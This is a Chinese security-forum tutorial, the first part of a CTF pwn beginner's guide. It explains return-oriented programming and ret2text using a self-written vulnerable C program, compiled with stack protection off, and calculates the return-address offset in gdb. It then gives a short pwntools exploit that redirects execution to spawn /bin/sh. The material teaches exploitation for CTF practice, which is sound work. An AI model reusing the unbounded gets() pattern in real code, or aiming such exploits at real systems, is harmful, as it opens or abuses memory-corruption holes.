安全矩阵

 找回密码
 立即注册
搜索
查看: 3780|回复: 0

CTF-PWN选手入坑指南(一)

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-7-20 08:35:57 | 显示全部楼层 |阅读模式
ROP简述
以下是 CTF wiki 对 ROP 的描述:
随着 NX(数据不可执行) 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:
  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

说一下环境:ubuntu 1604、pwntools、gdb-peda
推荐看一下参考资料中的《ROP轻松谈》,对栈有个基本的认识,否则下面可能看不懂
接下来,编写一个简单的程序来进一步了解ROP。
编写demo在这段代码中,存在一个栈溢出点和可get shell的函数,我们需要利用溢出点进行溢出,并设法使程序运行到get shell的函数。
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>

  4. void success() {
  5.   puts("You Hava already controlled it.");
  6.   system("/bin/sh");
  7. }

  8. void vulnerable() {
  9.   char s[12];
  10.   gets(s);
  11.   puts(s);
  12.   return;
  13. }

  14. int main(int argc, char **argv) {
  15.   vulnerable();
  16.   return 0;
  17. }
复制代码
编译demo先从32位开始入手,编译32位程序。
在 64位 Linux 上编译32位程序,需要安装以下依赖:

sudo apt-get install build-essential module-assistant gcc-multilib g++-multilib
进行编译:

gcc -m32 -fno-stack-protector  -o demo demo.c
  • -m32 : 编译32位程序
  • -fno-stack-protector :关闭栈保护,即 Stack Canary
简单分析gets函数是一个危险函数,下面是百度百科对 gets 函数的描述
gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
程序中为s分配的长度为12,而gets函数可以无限读取,可以使用它进行溢出。
溢出的目的是控制函数返回地址,在这里需要控制 vulnerable 函数的返回地址。
详细分析虽然程序是自己编写和编译的,但还是走一下流程。
首先查看一下程序的保护措施开启情况:
  1. ➜  01 checksec ./demo
  2. [*] '/mnt/hgfs/pwn/Tide/01/demo'
  3.     Arch:     i386-32-little
  4.     RELRO:    Partial RELRO
  5.     Stack:    No canary found <- 未开启栈保护
  6.     NX:       NX enabled
  7.     PIE:      No PIE (0x8048000)
复制代码
未开启栈保护,存在栈溢出的可能。
简单执行一下:
  1. ➜  01 ./demo
  2. sssssss
  3. sssssss
复制代码
寻找漏洞函数使用IDA 32 打开。
在左侧的函数列表中可以看到gets函数,我们已知其是危险函数,会造成栈溢出, 其次还看到了 vulnerable 函数,
  1. int vulnerable()
  2. {
  3.   char s; // [esp+4h] [ebp-14h]

  4.   gets(&s);
  5.   return puts(&s);
  6. }
复制代码
寻找能打开shell的代码首先搜索一下“/bin/sh”

进入第一条,F5 看一下
  1. int success()
  2. {
  3.   puts("You Hava already controlled it.");
  4.   return system("/bin/sh");
  5. }
复制代码
看一下该函数的地址:0x0804846B,需要劫持程序控制流,使其执行到该函数。

exp构造1.得到偏移量接下来我们需要得到字符串起始地址和ret的偏移量,这里介绍两种方式
1.手动计算
在 vulnerable 的汇编中,可以看到
  1.    0x804849d <vulnerable+9>:        lea    eax,[ebp-0x14]
  2.    0x80484a0 <vulnerable+12>:        push   eax
  3. => 0x80484a1 <vulnerable+13>:        call   0x8048320 <gets@plt>
复制代码
可以看到该字符串是对于ebp的索引,s 对于 ebp 的偏移为 0x14 ,因此对于返回地址的偏移为0x14 + 0x4 = 0x18 = 24
如果字符串基于esp的索引,可以使用gdb在 call _gets 处下断点,得到esp的值来计算字符串的地址。
2.使用 pattern 工具
首先,使用pattern生成一串字符串
  1. gdb-peda$ pattern  create 200
  2. 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
复制代码
在gdb中,输入r,执行程序,在输入的位置粘贴上pattern生成的字符串(注意不要包含多余的符号如'和空格、换行)

Stopped reason: SIGSEGV0x44414128 in ?? ()
内存出错的位置为:0x44414128

gdb-peda$ pattern offset 0x444141281145127208 found at offset: 24
基于以上得到的偏移量和success的函数地址,payload可以构造为

payload = 'a'*24 + func_success_addr
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804846B 在内存中的形式是

\x6b\x84\x04\x08
此处使用 pwntools 来进行转换,即 p32(func_success_addr)
2.exp
  1. from pwn import *

  2. io = process('./demo')
  3. func_success_addr = 0x0804846B
  4. payload = 'a'*24 + p32(func_success_addr)
  5. io.sendline(payload)
  6. io.interactive()
复制代码

本文到此结束,实际上该题属于 ret2text 类型,ret2text 即控制程序执行程序本身已有的的代码 (即.text段)。
jarvisoj level0 也属于此类型,可以做做,解法基本一致。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:45 , Processed in 0.014184 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表